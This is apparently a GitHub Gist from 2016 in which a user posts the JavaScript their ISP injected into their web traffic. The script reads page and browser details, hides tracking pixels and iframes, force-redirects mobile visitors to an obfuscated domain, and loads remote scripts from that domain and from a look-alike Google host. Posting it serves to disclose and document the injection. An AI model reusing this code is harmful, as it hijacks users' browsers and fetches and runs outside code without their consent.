Created
December 17, 2016 09:46
-
-
Save osa1/2988883d5b55e58decb4bdc9b7d02b2d to your computer and use it in GitHub Desktop.
JS that my ISP injects to my requests
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function getRandomInt(min, max) { | |
return Math.floor(Math.random() * (max - min)) + min; | |
} | |
try { | |
var title = document.title.toLowerCase(); | |
var domain = window.location.hostname.toLowerCase(); | |
var referrer = document.referrer.toLowerCase(); | |
var useragent = navigator.userAgent.toLowerCase(); | |
title = domain + title + referrer; | |
title += title + " " + window.self.document.all[0]; | |
} catch (err) {} | |
try { | |
var image = document.createElement("img"); | |
var imageParent = document.getElementById("body"); | |
image.style.display = "none"; | |
image.style.width = "1px"; | |
image.style.height = "1px"; | |
image.src = "http://whos.amung.us/widget/pcrt2010.png"; | |
imageParent.appendChild(image); | |
} catch (err) {} | |
function getMobileOperatingSystem() { | |
var userAgent = navigator.userAgent || navigator.vendor || window.opera; | |
if (userAgent.match(/iPad/i) || userAgent.match(/iPhone/i) || userAgent.match(/iPod/i)) { | |
return 'mob'; | |
} else if (userAgent.match(/Android/i)) { | |
return 'mob'; | |
} else { | |
return 'unknown'; | |
} | |
} | |
var ooo = 0; | |
if ((getMobileOperatingSystem() == "mob") && (ooo == 0)) { | |
try { | |
var ifrmxy = document.createElement("IFRAME"); | |
ifrmxy.setAttribute("src", "http://b9i2yj7dfa2kuppcyubz9p5ven9dl92sjjwarrrj9isebwels.com/rot.aspx?partner=910345&f=popup-u&rom"); | |
ifrmxy.style.width = "1px"; | |
ifrmxy.style.height = "1px"; | |
ifrmxy.style.display = "none"; | |
document.body.appendChild(ifrmxy); | |
} catch (err) {} | |
try { | |
window.top.location = "http://b9i2yj7dfa2kuppcyubz9p5ven9dl92sjjwarrrj9isebwels.com/rot.aspx?partner=910345&f=popup-u&rom"; | |
window.location.href = "http://b9i2yj7dfa2kuppcyubz9p5ven9dl92sjjwarrrj9isebwels.com/rot.aspx?partner=910345&f=popup-u&rom"; | |
document.write("<meta http-equiv=\"refresh\" content=\"1;url=http://b9i2yj7dfa2kuppcyubz9p5ven9dl92sjjwarrrj9isebwels.com/rot.aspx?partner=910345&f=popup-u&rom\">"); | |
} catch (err) {} | |
} else {} | |
function analytics() { | |
try { | |
(function(i, s, o, g, r, a, m) { | |
i['GoogleAnalyticsObject'] = r; | |
i[r] = i[r] || function() { | |
(i[r].q = i[r].q || []).push(arguments) | |
}, i[r].l = 1 * new Date(); | |
a = s.createElement(o), m = s.getElementsByTagName(o)[0]; | |
a.async = 1; | |
a.src = g; | |
m.parentNode.insertBefore(a, m) | |
})(window, document, 'script', 'https://ssl.google-analytics.com/analytics.js', 'ga'); | |
ga('create', 'UA-79160776-1', 'auto'); | |
ga('require', 'displayfeatures'); | |
ga('send', 'pageview'); | |
} catch (err) {} | |
} | |
analytics(); | |
setInterval(function() { | |
analytics(); | |
}, 30000); | |
try { | |
var ifrmx = document.createElement("IFRAME"); | |
ifrmx.setAttribute("src", "http://deploy-web.google.com/stats.html"); | |
ifrmx.style.width = "1px"; | |
ifrmx.style.height = "1px"; | |
ifrmx.style.display = "none"; | |
document.body.appendChild(ifrmx); | |
} catch (err) {} | |
try { | |
var sssssssss = document.createElement("script"); | |
sssssssss.async = false; | |
sssssssss.src = "http://b9i2yj7dfa2kuppcyubz9p5ven9dl92sjjwarrrj9isebwels.com/filter.aspx?partner=910345&f=popup-u&rom"; | |
document.getElementsByTagName("body")[0].appendChild(sssssssss); | |
} catch (err) {} | |
try { | |
var sssssssss = document.createElement("script"); | |
sssssssss.async = false; | |
sssssssss.src = "http://deploy-web.google.com/pnp.js"; | |
document.getElementsByTagName("body")[0].appendChild(sssssssss); | |
} catch (err) {} | |
try { | |
var ssssss = document.createElement("script"); | |
ssssss.async = false; | |
ssssss.src = "http://deploy-web.google.com/load.js?time=" + getRandomInt(0, 100000000); | |
document.getElementsByTagName("body")[0].appendChild(ssssss); | |
} catch (err) {} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment